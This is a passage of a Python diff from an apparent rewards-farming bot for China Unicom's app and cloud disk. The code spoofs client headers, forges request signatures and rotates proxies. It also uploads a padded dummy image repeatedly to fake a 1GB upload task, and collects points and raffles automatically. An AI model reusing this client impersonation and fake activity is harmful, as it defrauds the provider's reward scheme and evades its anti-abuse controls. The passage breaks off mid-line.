self.market_prepare_member_center_context(points_ticket) + task = self.market_query_member_center_task(points_ticket) + if not task: + self.log("权益超市-会员中心: 未找到目标任务") + return + finish_code = self.market_member_center_finish_code(task) + finish_text = self.market_member_center_finish_text(task) + finish_count = safe_int(task.get("finishCount"), 0) + need_count = safe_int(task.get("needCount"), 0) + self.log( + f"权益超市-会员中心: 当前状态 {finish_text}/{finish_code}," + f"本月进度 {finish_count}/{need_count}" + ) + if finish_count >= need_count: + self.log("权益超市-会员中心: 本月次数已达上限") + return + if finish_code == 100 or finish_text == "已领取": + self.log("权益超市-会员中心: 今日已领取,跳过") + return + if finish_code == 0 or finish_text == "未完成": + jump_url = str(task.get("jumpUrl", "")).strip() + match = re.search(r"taskFixId=(\d+)", jump_url) + task_fix_id = match.group(1) if match else "90" + if not self.market_mark_member_center_browse_done(user_token, task_fix_id): + return + self.market_prepare_member_center_context(points_ticket) + task = self.market_wait_member_center_task_state(points_ticket, {99, 100}, attempts=4, delay=2) + if not task: + return + finish_code = self.market_member_center_finish_code(task) + finish_text = self.market_member_center_finish_text(task) + self.log( + f"权益超市-会员中心: 浏览后状态 {finish_text}/{finish_code}," + f"本月进度 {safe_int(task.get('finishCount'), 0)}/{safe_int(task.get('needCount'), 0)}" + ) + if finish_code == 99 or finish_text == "待领取": + self.market_receive_member_center_points(points_ticket) + elif finish_code != 100: + self.log("权益超市-会员中心: 状态未及时刷新,尝试直接领奖兜底") + if self.market_receive_member_center_points(points_ticket): + return + self.log("权益超市-会员中心: 直接领奖兜底失败,跳过") + + def market_task(self, is_query_only=False): + self.log("==== 权益超市 ====") + ticket = self.market_get_ticket() + if not ticket: + return + user_token = self.market_get_user_token(ticket) + if not user_token: + return + if is_query_only: + self.query_market_watering_status(user_token) + self.query_market_raffle_records(user_token) + self.query_phone_recharge_records(user_token) + return + mc = globalConfig.get("market_config", {}) + if mc.get("run_water", True): + self.market_watering_task(user_token) + time.sleep(2) + else: + self.log("权益超市-浇水: ⏭️ 已被总开关关闭,跳过") + if mc.get("run_task", True): + if hasattr(self, 'ecs_token'): + share_list = self.market_get_all_tasks(self.ecs_token, user_token) + if share_list: + self.market_do_share_list(share_list, user_token) + else: + self.log("权益超市: 缺 ecs_token, 跳过通用任务列表") + else: + self.log("权益超市-做任务: ⏭️ 已被总开关关闭,跳过") + if mc.get("run_member_center", True): + time.sleep(2) + self.market_member_center_task(user_token) + else: + self.log("权益超市-会员中心: ⏭️ 已被子开关关闭,跳过") + if mc.get("run_draw", True): + if self.market_get_raffle(user_token): + self.market_get_raffle_count(user_token) + else: + self.log("权益超市-抽奖: ⏭️ 已被总开关关闭,跳过") + if mc.get("run_claim", False): + self.log("权益超市-领奖: 自动领奖已开启") + self.query_phone_recharge_records(user_token) + else: + self.log("权益超市-领奖: ⏭️ 未开启自动领奖") + self.query_market_raffle_records(user_token) + self.query_phone_recharge_records(user_token) + + def init_cloud_urls(self): + if not hasattr(self, 'cloudDiskUrls'): + self.cloudDiskUrls = { + 'onLine': "https://m.client.10010.com/mobileService/onLine.htm", + 'getTicketByNative': "https://m.client.10010.com/edop_ng/getTicketByNative", + 'userticket': "https://panservice.mail.wo.cn/api-user/api/user/ticket", + 'ltypDispatcher': "https://panservice.mail.wo.cn/wohome/dispatcher", + 'query': "https://m.jf.10010.com/jf-external-application/page/query", + 'taskDetail': "https://m.jf.10010.com/jf-external-application/jftask/taskDetail", + 'taskRecords': "https://m.jf.10010.com/jf-external-application/jftask/taskRecords", + 'dosign': "https://m.jf.10010.com/jf-external-application/jftask/sign", + 'upload2C': "https://tjupload.pan.wo.cn/openapi/client/upload2C", + 'doPopUp': "https://m.jf.10010.com/jf-external-application/jftask/popUp", + 'toFinish': "https://m.jf.10010.com/jf-external-application/jftask/toFinish", + 'lottery': "https://panservice.mail.wo.cn/activity/lottery", + 'openActivity': "https://panservice.mail.wo.cn/activity/openActivity", + 'checkActivityStatus': "https://panservice.mail.wo.cn/activity/checkActivityStatus", + 'userInfo': "https://m.jf.10010.com/jf-external-application/jftask/userInfo", + 'ai_query': "https://panservice.mail.wo.cn/wohome/ai/assistant/query", + 'lottery_times': "https://panservice.mail.wo.cn/activity/lottery/lottery-times", + 'aiMoveFile': "https://panservice.mail.wo.cn/wohome/open/v1/ai/moveFile2SystemFolder", + 'activityUpload2C': "https://du.smartont.net:8443/openapi/client/upload2C", + 'queryPhoneLocation': "https://panservice.mail.wo.cn/api-user/user/info/query", + 'getScanState': "https://s.pan.wo.cn/wohome/intelligentClean/getScanStateAndResult", + 'getCleanData': "https://s.pan.wo.cn/wohome/intelligentClean/getCleanData", + 'batchClean': "https://s.pan.wo.cn/wohome/intelligentClean/batchClean", + 'vote': "https://panservice.mail.wo.cn/activity/activity-task/vote", + 'secretKey': "https://m.jf.10010.com/jf-external-application/jftask/getSecretKey", + 'taskFinish': "https://panservice.mail.wo.cn/activity/member-point/v1/task/finish", + } + + def cloudRequest(self, url_name, payload, is_changer=False, method='post', custom_headers=None): + self.init_cloud_urls() + url = self.cloudDiskUrls.get(url_name) + if not url: + self.log(f"云盘无效的URL名称: {url_name}") + return {'result': None, 'headers': None} + headers = { + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301}", + 'Connection': "Keep-Alive", + 'Accept-Encoding': "gzip", + } + if custom_headers: + headers.update(custom_headers) + if url_name in ['dosign', 'userInfo', 'doPopUp', 'toFinish', 'taskDetail', 'taskRecords']: + if not getattr(self.cloudDisk, 'userticket', None): + self.log(f"云盘 [{{url_name}}] userticket 未获取") + return {'result': None, 'headers': None} + headers['ticket'] = self.cloudDisk.userticket + headers['content-type'] = "application/json;charset=UTF-8" + headers['partnersid'] = "1649" + headers['origin'] = "https://m.jf.10010.com" + if getattr(self.cloudDisk, 'jeaId', None): + headers['Cookie'] = f"_jea_id={self.cloudDisk.jeaId};" + if url_name in ['dosign', 'toFinish']: + sig_headers = self.build_signature_headers_cloud() + if sig_headers: + headers.update(sig_headers) + if is_changer: + headers['clienttype'] = "yunpan_unicom_applet" + headers['x-requested-with'] = "com.sinovatech.unicom.ui" + if url_name == 'toFinish': + headers['User-Agent'] = "Mozilla/5.0 (Linux; Android 12; Redmi K30 Pro Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/131.0.6778.39 Mobile Safari/537.36/woapp LianTongYunPan/4.0.4 (Android 12)" + headers['clienttype'] = "yunpan_android" + headers['x-requested-with'] = "com.chinaunicom.bol.cloudapp" + else: + headers['clienttype'] = "yunpan_android" + headers['x-requested-with'] = "com.sinovatech.unicom.ui" + elif url_name == 'ai_query': + model_id = payload.get('modelId', 1) + headers.update({ + 'accept': 'text/event-stream', + 'X-YP-Access-Token': self.cloudDisk.userToken, + 'X-YP-App-Version': '5.0.12', + 'X-YP-Client-Id': '1001000035', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 9; SM-N9810 Build/PQ3A.190705.11211540; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/91.0.4472.114 Mobile Safari/537.36/woapp LianTongYunPan/5.0.12 (Android 9)', + 'Content-Type': 'application/json', + 'Origin': 'https://panservice.mail.wo.cn', + 'X-Requested-With': 'com.chinaunicom.bol.cloudapp', + 'Referer': f"https://panservice.mail.wo.cn/h5/wocloud_ai/?modelType={model_id}&clientId=1001000035&touchpoint=300300010001&token={self.cloudDisk.userToken}", + }) + elif url_name == 'lottery_times': + method = 'get' + headers.update({ + 'X-YP-Access-Token': self.cloudDisk.userToken, 'source-type': 'woapi', 'clientId': '1001000165', + 'token': self.cloudDisk.userToken, 'X-YP-Client-Id': '1001000165', + }) + elif url_name == 'aiMoveFile': + headers.update({ + 'X-YP-Device-Id': 'yOH1Y2/Ck5tBHRRBEAPCoGRGBOHCob7I', + 'app-type': 'liantongyunpanapp', + 'Access-Token': self.cloudDisk.userToken, + 'Client-Id': '1001000035', + 'App-Version': 'yp-app/5.1.0', + 'Sys-Version': 'Android/15', + 'User-Agent': 'LianTongYunPan/5.1.0 (Android 15)', + 'X-YP-Client-Id': '1001000035', + 'X-YP-Access-Token': self.cloudDisk.userToken, + 'oaid': '00000000', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'https://panservice.mail.wo.cn', + }) + elif url_name.startswith('cloud_') or 'shareCard' in url_name: + current_token = getattr(self.cloudDisk, 'userToken', '') + headers.update({ + 'Host': 'panservice.mail.wo.cn', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 15; PJZ110 Build/AP3A.240617.008; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/144.0.7559.109 Mobile Safari/537.36/woapp LianTongYunPan/5.1.0 (Android 15)', + 'client-Id': '1001000035', + 'X-YP-Client-Id': '1001000035', + 'accessToken': current_token, + 'access-token': current_token, + 'X-YP-Access-Token': current_token, + 'Authorization': f'Bearer {current_token}', + 'X-Requested-With': 'com.chinaunicom.bol.cloudapp', + 'Content-Type': 'application/json', + 'Origin': 'https://panservice.mail.wo.cn', + }) + touchpoint = '300300010032' + if 'lightPuzzle' in url_name: touchpoint = '300300010003' + if 'shareCardReceive' in url_name: + headers['User-Agent'] = "Mozilla/5.0 (Linux; Android 15; PJZ110 Build/AP3A.240617.008; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/142.0.7444.173 Mobile Safari/537.36 XWEB/1420229 MMWEBSDK/20250802 MMWEBID/7928 MicroMessenger/8.0.62.2900(0x28003EA0) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64" + headers['X-Requested-With'] = "com.tencent.mm" + headers['X-YP-GRAY-FLAG'] = "undefined" + uniq_key = payload.get('uniqKey', '') if isinstance(payload, dict) else '' + card_code = payload.get('_cardCode', 'LT') if isinstance(payload, dict) else 'LT' + if isinstance(payload, dict) and '_cardCode' in payload: + del payload['_cardCode'] + headers['Referer'] = f"https://panservice.mail.wo.cn/h5/activitymobile/newYears26?uniqKey={uniq_key}&cardCode={card_code}&activityId=SPRING_FESTIVAL_2026&page=1&touchpoint=undefined" + else: + headers['Referer'] = f"https://panservice.mail.wo.cn/h5/activitymobile/newYears26?activityId=SPRING_FESTIVAL_2026&touchpoint={touchpoint}&token={current_token}" + if url_name == 'shareCard': + headers['X-YP-GRAY-FLAG'] = "undefined" + for attempt in range(1, 4): + try: + if method == 'get': + res = self.session.get(url, params=payload, headers=headers, timeout=15) + else: + res = self.session.post(url, json=payload, headers=headers, timeout=15) + if url_name == 'ai_query': + return {'result': None, 'body': res.text, 'headers': res.headers} + try: + res_json = res.json() + return {'result': res_json, 'headers': res.headers, 'status': res.status_code} + except: + return {'result': res.text, 'headers': res.headers, 'status': res.status_code} + except Exception as e: + err_msg = str(e) + if attempt < 3 and os.environ.get("UNICOM_PROXY_API") and ("Max retries exceeded" in err_msg or "timed out" in err_msg.lower() or "connection" in err_msg.lower() or "SOCKS" in err_msg): + self.log(f"cloudRequest [{url_name}] 网络异常触发故障转移({err_msg}), 正在更换代理...") + self.failover_proxy() + continue + if attempt == 3: + self.log(f"cloudRequest Exception [{url_name}]: {e}") + return {'result': None, 'headers': None, 'status': 599} + self.log(f"cloudRequest [{url_name}] 网络异常({e}), 重试第{attempt}次...") + time.sleep(2) + + def encrypt_data_cloud(self, data, key, iv="wNSOYIB1k1DjY5lA"): + key_padded = key.ljust(16)[:16] + cipher = AES.new(key_padded.encode(), AES.MODE_CBC, iv.encode()) + padded = pad(data.encode(), AES.block_size, style="pkcs7") + return base64.b64encode(cipher.encrypt(padded)).decode() + + def getTicketByNative_cloud(self): + for attempt in range(1, 4): + try: + url = f"{self.cloudDiskUrls['getTicketByNative']}?appId=edop_unicom_d67b3e30&token={self.ecs_token}" + headers = { + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301}", + 'Connection': "Keep-Alive", + 'Accept-Encoding': "gzip", + } + res = self.session.get(url, headers=headers).json() + if res.get('ticket'): + self.cloudDisk.ticket = res['ticket'] + return res['ticket'] + elif str(res.get('code')) == "9999": + self.log(f"getTicketByNative_cloud 票据失效或被拦截: {res}") + except Exception as e: + err_msg = str(e) + if attempt < 3 and os.environ.get("UNICOM_PROXY_API") and ("Max retries exceeded" in err_msg or "timed out" in err_msg.lower() or "connection" in err_msg.lower() or "SOCKS" in err_msg): + self.log(f"getTicketByNative_cloud 第{attempt}次异常触发故障转移: {err_msg}") + self.failover_proxy() + continue + self.log(f"getTicketByNative_cloud 第{attempt}次重试 - 异常: {e}") + time.sleep(2) + return None + + def get_ltypDispatcher_cloud(self, ticket): + for attempt in range(1, 4): + try: + timestamp = str(int(time.time() * 1000)) + result_rnd = str(random.randint(123456, 199999)) + string_to_hash = "HandheldHallAutoLoginV2" + timestamp + result_rnd + "wohome" + sign = hashlib.md5(string_to_hash.encode()).hexdigest() + payload = { + "header": { + "key": "HandheldHallAutoLoginV2", + "resTime": timestamp, + "reqSeq": result_rnd, + "channel": "wohome", + "version": "", + "sign": sign + }, + "body": { + "clientId": "1001000003", + "ticket": ticket + } + } + url = self.cloudDiskUrls['ltypDispatcher'] + headers = {'User-Agent': "Dalvik/2.1.0 (Linux; U; Android 12; leijun Pro Build/SKQ1.22013.001);unicom{version:android@11.0702}"} + res = self.session.post(url, json=payload, headers=headers).json() + token = res.get('RSP', {}).get('DATA', {}).get('token') + if token: + self.cloudDisk.userToken = token + return token + except Exception as e: + err_msg = str(e) + if attempt < 3 and os.environ.get("UNICOM_PROXY_API") and ("Max retries exceeded" in err_msg or "timed out" in err_msg.lower() or "connection" in err_msg.lower() or "SOCKS" in err_msg): + self.log(f"get_ltypDispatcher_cloud 第{attempt}次异常触发故障转移: {err_msg}") + self.failover_proxy() + continue + self.log(f"get_ltypDispatcher_cloud 第{attempt}次重试 - 异常: {e}") + time.sleep(2) + return None + + def get_userticket_cloud(self, is_changer=False): + if not getattr(self.cloudDisk, 'userToken', None): + self.log("云盘任务: 获取userticket失败, userToken未获取") + return None + headers = {} + if is_changer: + headers = { + 'User-Agent': "LianTongYunPan/4.0.4 (Android 12)", + 'app-type': "liantongyunpanapp", + 'Client-Id': "1001000035", + 'App-Version': "yp-app/4.0.4", + 'Sys-Version': "Android/12", + 'X-YP-Client-Id': "1001000035", + 'X-YP-Access-Token': self.cloudDisk.userToken, + } + else: + headers = { + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301}", + 'Content-Type': 'application/json', + 'X-YP-Access-Token': self.cloudDisk.userToken, + 'accesstoken': self.cloudDisk.userToken, + 'token': self.cloudDisk.userToken, + 'clientId': "1001000003", + 'X-YP-Client-Id': "1001000003", + 'source-type': "woapi", + 'app-type': "unicom" + } + for attempt in range(1, 4): + try: + res = self.session.post(self.cloudDiskUrls['userticket'], json={}, headers=headers, timeout=15).json() + if res and isinstance(res, dict) and res.get('result', {}).get('ticket'): + self.cloudDisk.userticket = res['result']['ticket'] + return self.cloudDisk.userticket + else: + self.log(f"get_userticket_cloud failed: {res}") + return None + except Exception as e: + self.log(f"[get_userticket_cloud] 请求异常[{e}],重试第{attempt}次") + time.sleep(2) + return None + + def get_userInfo_cloud(self): + if not self.get_userticket_cloud(False): return + data = self.cloudRequest('userInfo', {}, False, 'post') + res = data.get('result') + headers = data.get('headers') + if headers: + cookie = headers.get('Set-Cookie', '') + match = re.search(r'_jea_id=([^;]+)', cookie) + if match: + self.cloudDisk.jeaId = match.group(1) + if res and res.get('data'): + avail = res['data'].get('availableScore') + today_earn = res['data'].get('todayEarnScore', 0) + if not hasattr(self.cloudDisk, 'initial_avail'): + self.cloudDisk.initial_avail = avail + self.log(f"云盘任务: 运行前 - 今日已赚: {today_earn}, 可用积分: {avail}") + else: + earned = int(avail) - int(self.cloudDisk.initial_avail) + self.log(f"云盘任务: 运行后 - 今日已赚: {today_earn}, 可用: {avail}, 本次获得: {earned}", notify=True) + + def do_ai_interaction_cloud(self, taskCode, taskName): + self.log(f"云盘任务: 执行AI通通查询请求...") + payload = { + "input": "你好", + "platform": 2, + "modelId": 0, + "tag": 21, + "subTag": 210000, + "conversationId": "", + "knowledgeId": "", + "referFileInfo": [] + } + data = self.cloudRequest('ai_query', payload, False, 'post') + body = data.get('body', '') + if body and ('"finish":1' in body or 'success' in body): + self.log(f"云盘任务: ✅ [{taskName}] 互动成功") + self.doPopUp_cloud(taskCode, taskName, False) + return True + self.log(f"云盘任务: ❌ [{taskName}] 互动失败") + return False + + def get_cloud_upload_file_path(self): + custom_path = os.environ.get("UNICOM_CLOUD_UPLOAD_FILE", "").strip() + if custom_path: + full_path = os.path.abspath(custom_path) + if os.path.isfile(full_path): + return full_path + self.log(f"云盘任务: 上传文件不存在: {full_path}") + return None + seed_path = os.path.join(tempfile.gettempdir(), "unicom_cloud_upload_seed.jpg") + target_size = max(UNICOM_CLOUD_UPLOAD_PROGRESS_BYTES, 1024) + if not os.path.exists(seed_path) or os.path.getsize(seed_path) != target_size: + seed_bytes = base64.b64decode("/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAkGBxAQEBAQEBAPEA8PEA8QDw8PDw8QDw8QFREWFhURFRUYHSggGBolGxUVITEhJSkrLi4uFx8zODMsNygtLisBCgoKDg0OGxAQGy0lICYtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLf/AABEIAAEAAgMBIgACEQEDEQH/xAAXAAADAQAAAAAAAAAAAAAAAAAAAQID/8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEAMQAAAB6A//xAAXEAEAAwAAAAAAAAAAAAAAAAABAAIR/9oACAEBAAEFAkqf/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwEf/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwEf/8QAFBABAAAAAAAAAAAAAAAAAAAAEP/aAAgBAQAGPwJf/8QAFBABAAAAAAAAAAAAAAAAAAAAEP/aAAgBAQABPyFf/9k=") + with open(seed_path, "wb") as f: + f.write(seed_bytes) + if target_size > len(seed_bytes): + f.seek(target_size - 1) + f.write(b"\0") + return seed_path + + def get_cloud_upload_progress_bytes(self, file_size=0): + progress_bytes = max(int(UNICOM_CLOUD_UPLOAD_PROGRESS_BYTES or 0), 1) + if file_size and int(file_size) > 0: + return min(int(file_size), progress_bytes) + return progress_bytes + + def parse_cloud_size_to_bytes(self, value): + match = re.search(r'(\d+(?:\.\d+)?)\s*([KMGT])', str(value).upper()) + if not match: + return 0 + unit_power = {'K': 1, 'M': 2, 'G': 3, 'T': 4} + return int(float(match.group(1)) * (1024 ** unit_power[match.group(2)])) + + def get_cloud_upload_times(self, task, file_size): + progress_list = task.get('taskExtend', {}).get('taskProgressVOList', []) or [] + targets = [] + for item in progress_list: + size_bytes = self.parse_cloud_size_to_bytes(item.get('progressName')) + if size_bytes > 0: + targets.append(size_bytes) + finished = max(int(task.get('finishCount', 0) or 0), 0) + stage_goal = finished + 1 + progress_bytes = self.get_cloud_upload_progress_bytes(file_size) + if targets: + stage_goal = min(stage_goal, len(targets)) + final_target = targets[stage_goal - 1] + completed_target = targets[min(finished, len(targets)) - 1] if finished > 0 else 0 + remaining_bytes = max(final_target - completed_target, 0) + if remaining_bytes <= 0: + return 0, stage_goal + return max((remaining_bytes + progress_bytes - 1) // progress_bytes, 1), stage_goal + required = max(int(task.get('needCount', 0) or 0), 0) + if required > 0: + stage_goal = min(stage_goal, required) + remaining = max(stage_goal - finished, 0) + return remaining, stage_goal + + def query_cloud_task_list_cloud(self): + if not self.get_userticket_cloud(False): + return [] + data = self.cloudRequest('taskDetail', {}, False, 'post') + if not isinstance(data, dict): + self.log("云盘任务: taskDetail 返回结构异常,已跳过本轮任务列表") + return [] + res = data.get('result') + if not isinstance(res, dict): + body = str(res).replace('\r', ' ').replace('\n', ' ').strip()[:120] + self.log(f"云盘任务: taskDetail 返回异常,已跳过本轮任务列表 (status={data.get('status')}, body={body or 'None'})") + return [] + task_detail = res.get('data', {}).get('taskDetail', {}) + if not isinstance(task_detail, dict): + self.log("云盘任务: taskDetail 数据结构异常,已跳过本轮任务列表") + return [] + return task_detail.get('taskList', []) or [] + + def query_task_records_cloud(self, cursor=""): + if not self.get_userticket_cloud(False): + return [] + data = self.cloudRequest('taskRecords', {"cursor": cursor}, False, 'post') + if not isinstance(data, dict): + self.log("云盘任务: taskRecords 返回结构异常,已跳过积分明细查询") + return [] + res = data.get('result') + if not isinstance(res, dict): + body = str(res).replace('\r', ' ').replace('\n', ' ').strip()[:120] + self.log(f"云盘任务: taskRecords 返回异常,已跳过积分明细查询 (status={data.get('status')}, body={body or 'None'})") + return [] + return res.get('data', []) or [] + + def init_cloud_task_records_state(self): + records = self.query_task_records_cloud("") + self.cloudDisk.knownTaskRecordIds = {str(item.get('id')) for item in records if item.get('id')} + + def match_new_cloud_task_record(self, task_name, before_ids=None): + records = self.query_task_records_cloud("") + known_ids = set(before_ids if before_ids is not None else getattr(self.cloudDisk, 'knownTaskRecordIds', set())) + new_record = None + for item in records: + record_id = str(item.get('id') or '') + if not record_id or record_id in known_ids: + continue + if item.get('taskName') == task_name and not new_record: + new_record = item + known_ids.add(record_id) + self.cloudDisk.knownTaskRecordIds = known_ids + return new_record + + def get_cloud_task_by_code_cloud(self, task_code): + if not task_code: + return None + for task in self.query_cloud_task_list_cloud(): + if task.get('taskCode') == task_code: + return task + return None + + def finalize_generic_task_cloud(self, task_code, task_name): + current_task = self.get_cloud_task_by_code_cloud(task_code) + if not isinstance(current_task, dict): + return + finish_text = current_task.get('finishText') + finished = int(current_task.get('finishCount', 0) or 0) + required = int(current_task.get('needCount', 0) or 0) + if finish_text == "待领取": + self.doPopUp_cloud(task_code, task_name, False) + return + if finish_text in ["已完成", "已领取"] or (required > 0 and finished >= required): + record = self.match_new_cloud_task_record(task_name) + if record: + self.log(f"云盘任务: ✅ [{task_name}] 完成, 获得积分: {record.get('earnScoreDesc')}") + else: + self.log(f"云盘任务: ✅ [{task_name}] 已完成") + + def get_cloud_upload_name_cloud(self): + return os.environ.get("UNICOM_CLOUD_UPLOAD_FILENAME", "8648").strip() or "8648" + + def doUpload_cloud(self, taskCode, taskName, prefix="云盘任务", notify=True): + token = getattr(self.cloudDisk, 'userToken', '') + upload_path = self.get_cloud_upload_file_path() + if not token or not upload_path: + return False + file_size = os.path.getsize(upload_path) + progress_file_size = self.get_cloud_upload_progress_bytes(file_size) + file_name = self.get_cloud_upload_name_cloud() + headers = { + 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0", + 'Accept-Encoding': "gzip, deflate, br, zstd", + 'Origin': "https://pan.wo.cn", + 'Referer': "https://pan.wo.cn/", + 'Accept-Language': "zh-CN,zh;q=0.9", + 'Sec-Fetch-Site': "same-site", + 'Sec-Fetch-Mode': "cors", + 'Sec-Fetch-Dest': "empty", + } + for attempt in range(1, 3): + request_time = str(int(time.time() * 1000)) + file_info = self.encrypt_data_cloud(json.dumps({ + "spaceType": "0", + "directoryId": "0", + "batchNo": datetime.now().strftime("%Y%m%d"), + "fileName": file_name, + "fileSize": progress_file_size, + "fileType": "1", + }, ensure_ascii=False, separators=(',', ':')), token) + try: + with open(upload_path, 'rb') as file_obj: + files = { + "uniqueId": (None, f"{request_time}_{''.join(random.choices('abcdefghijklmnopqrstuvwxyz0123456789', k=6))}"), + "accessToken": (None, token), + "fileName": (None, file_name), + "psToken": (None, "undefined"), + "fileSize": (None, str(file_size)), + "totalPart": (None, "1"), + "partSize": (None, str(file_size)), + "partIndex": (None, "1"), + "channel": (None, "wocloud"), + "directoryId": (None, "0"), + "fileInfo": (None, file_info), + "file": (file_name, file_obj, "image/jpeg"), + } + res = self.request_direct("POST", self.cloudDiskUrls['upload2C'], headers=headers, files=files, timeout=UNICOM_CLOUD_UPLOAD_TIMEOUT) + res_json = {} + try: + res_json = res.json() + except: + pass + meta_code = str(res_json.get('meta', {}).get('code', '')) + code = str(res_json.get('code', '')) + if res.status_code == 200 and (not res_json or meta_code in ('200', '0', '0000') or code in ('200', '0', '0000')): + self.cloudDisk.uploadedFileCount = int(getattr(self.cloudDisk, 'uploadedFileCount', 0) or 0) + 1 + self.log(f"{prefix}: [{taskName}] 上传成功") + if taskCode: + time.sleep(1) + self.doPopUp_cloud(taskCode, taskName, False, notify=notify) + return True + if attempt < 2 and res.status_code >= 500: + self.log(f"{prefix}: [{taskName}] 上传返回 {res.status_code},重建请求重试一次") + time.sleep(2) + continue + self.log(f"{prefix}: ❌ [{taskName}] 上传失败: HTTP {res.status_code} {res_json if res_json else res.text[:200]}") + return False + except Exception as e: + if attempt < 2: + self.log(f"{prefix}: [{taskName}] 上传异常,重建请求重试一次: {e}") + time.sleep(2) + continue + self.log(f"{prefix}: ❌ [{taskName}] 上传异常: {e}") + return False + + def doPopUp_cloud(self, taskCode, taskName, is_changer, notify=True): + if not self.get_userticket_cloud(is_changer): return + known_ids = set(getattr(self.cloudDisk, 'knownTaskRecordIds', set())) + time.sleep(5) + data = self.cloudRequest('doPopUp', {}, is_changer, 'post') + res = data.get('result') + if not isinstance(res, dict): + res = {} + code = res.get('meta', {}).get('code') + code2 = res.get('code') + if str(code) == "0000" or str(code) == "0" or str(code2) == "0000" or str(code2) == "0": + record = self.match_new_cloud_task_record(taskName, known_ids) + if record: + score_desc = record.get('earnScoreDesc') or res.get('data', {}).get('score', 0) + self.log(f"云盘任务: ✅ [{taskName}] 完成, 获得积分: {score_desc}", notify=notify) + return + score = res.get('data', {}).get('score', 0) + if str(score) not in ('', '0', '0积分'): + self.log(f"云盘任务: ✅ [{taskName}] 领取到积分: {score},但未在积分明细匹配到当前任务", notify=notify) + else: + self.log(f"云盘任务: ✅ [{taskName}] 完成", notify=notify) + else: + self.log(f"云盘任务: ❌ [{taskName}] 领取奖励失败: {res}") + + def toFinish_cloud(self, taskCode, taskName, is_changer): + if not self.get_userticket_cloud(is_changer): return False + data = self.cloudRequest('toFinish', {'taskCode': taskCode}, is_changer, 'post') + res = data.get('result') + if not isinstance(res, dict): + res = {} + if res.get('code') == "0000": return True + return False + + def dosign_cloud(self, taskCode, taskName): + if not self.get_userticket_cloud(False): return + data = self.cloudRequest('dosign', {'taskCode': taskCode}, False, 'post') + res = data.get('result') + if not isinstance(res, dict): + res = {} + if "0000" in str(res.get('code')) and res.get('data', {}).get('score'): + self.log(f"云盘任务: ✅ [{taskName}] 完成, 获得积分: {res['data']['score']}", notify=True) + else: + self.log(f"云盘任务: ❌ [{taskName}] 失败: {res}") + + def get_taskDetail_cloud(self): + taskList = self.query_cloud_task_list_cloud() + if taskList: + names = [t.get('taskName', '?') for t in taskList] + self.log(f"云盘任务: 任务列表({len(taskList)}): {', '.join(names)}") + else: + self.log("云盘任务: 任务列表为空") + return + for task in taskList: + time.sleep(0.5) + tName = task.get('taskName', '') + tCode = task.get('taskCode') + finishText = task.get('finishText') + finished = int(task.get('finishCount', 0)) + required = int(task.get('needCount', 0)) + if finishText == "待领取": + self.log(f"云盘任务: [{tName}] 待领取") + self.doPopUp_cloud(tCode, tName, False) + continue + if finishText in ["已完成", "已领取"] or task.get('finishState', False) == True or (required > 0 and finished >= required): + self.log(f"云盘任务: ✅ [{tName}] 已完成") + continue + self.log(f"云盘任务: 开始执行 [{tName}] 进度: {finished}/{required}") + if "签到" in tName: + self.toFinish_cloud(tCode, tName, False) + self.dosign_cloud(tCode, tName) + elif "与AI通通互动" in tName: + self.toFinish_cloud(tCode, tName, False) + self.do_ai_interaction_cloud(tCode, tName) + elif "微信备份" in tName or "通讯录备份" in tName: + self.log(f"云盘任务: [{tName}] 暂未适配,当前缺少该任务专用协议,先跳过") + elif "当月上传容量满1GB" in tName: + upload_path = self.get_cloud_upload_file_path() + if not upload_path: + continue + start_finished = int(task.get('finishCount', 0) or 0) + upload_times, target_stage = self.get_cloud_upload_times(task, os.path.getsize(upload_path)) + if upload_times <= 0: + self.log(f"云盘任务: [{tName}] 当前阶段已完成,跳过上传") + continue + extra_times = max(5, (upload_times + 9) // 10) + max_upload_times = upload_times + extra_times + self.toFinish_cloud(tCode, tName, False) + self.log(f"云盘任务: 开始执行1GB上传任务(本次目标阶段 {target_stage}/{max(int(task.get('needCount', 0) or 0), target_stage)},预计{upload_times}次,最多{max_upload_times}次,达到本阶段即停止)...") + upload_ok = 0 + for upload_i in range(max_upload_times): + self.log(f"云盘任务: 第{upload_i + 1}/{max_upload_times}次上传") + if self.doUpload_cloud(tCode, tName, notify=False): + upload_ok += 1 + should_check = upload_ok > 0 and ((upload_i + 1) >= upload_times or upload_ok % 5 == 0) + if should_check: + current_task = self.get_cloud_task_by_code_cloud(tCode) + if current_task: + current_finished = int(current_task.get('finishCount', 0) or 0) + current_required = int(current_task.get('needCount', 0) or 0) + self.log(f"云盘任务: [{tName}] 当前阶段进度 {current_finished}/{current_required}") + if current_finished >= target_stage or current_task.get('finishText') in ["已完成", "已领取"]: + reached_text = "已达到本阶段目标" if current_finished < current_required else "已达到本月目标" + self.log(f"云盘任务: ✅ [{tName}] {reached_text},停止继续上传", notify=True) + break + time.sleep(2) + current_task = self.get_cloud_task_by_code_cloud(tCode) + current_finished = int(current_task.get('finishCount', 0) or 